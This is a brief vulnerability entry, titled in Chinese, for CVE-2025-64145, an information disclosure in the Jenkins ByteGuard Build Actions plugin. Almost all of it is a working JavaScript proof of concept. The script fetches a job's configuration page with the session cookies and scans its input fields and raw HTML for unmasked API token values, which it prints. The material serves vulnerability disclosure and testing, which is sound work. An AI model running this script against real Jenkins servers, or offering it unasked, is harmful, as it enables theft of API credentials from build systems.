CVE-2025-64145 Jenkins ByteGuard Build Actions Plugin API令牌未掩码信息泄露

// CVE-2025-64145 PoC - Information Disclosure via Unmasked API Token // This PoC demonstrates how to extract unmasked API tokens from Jenkins ByteGuard Plugin // Step 1: Access the job configuration page const jobName = 'your-target-job'; const configUrl = `${jenkinsUrl}/job/${jobName}/configure`; // Step 2: Fetch the configuration page fetch(configUrl, { method: 'GET', credentials: 'include' // Include session cookies for authentication }) .then(response => response.text()) .then(html => { // Step 3: Parse the HTML to find unmasked API tokens const parser = new DOMParser(); const doc = parser.parseFromString(html, 'text/html'); // Look for input fields containing 'token' or 'api' in name/ID const inputs = doc.querySelectorAll('input[type="text"], input[type="password"]'); inputs.forEach(input => { const name = input.name || input.id || ''; const type = input.type; // Check if this is a ByteGuard API token field if (name.toLowerCase().includes('token') || name.toLowerCase().includes('api') || name.toLowerCase().includes('byteguard')) { // If type is 'text' instead of 'password', token is unmasked if (type === 'text') { console.log('[!] Unmasked token found!'); console.log('Field name:', name); console.log('Token value:', input.value); } } }); // Alternative: Search in raw HTML for visible token values const tokenPattern = /name=["'][^"']*token[^"']*["'][^>]*value=["']([^"']+)["']/gi; let match; while ((match = tokenPattern.exec(html)) !== null) { console.log('[!] Token found in HTML:', match[1]); } }); // Note: This PoC requires a valid Jenkins session with Job/Configure permission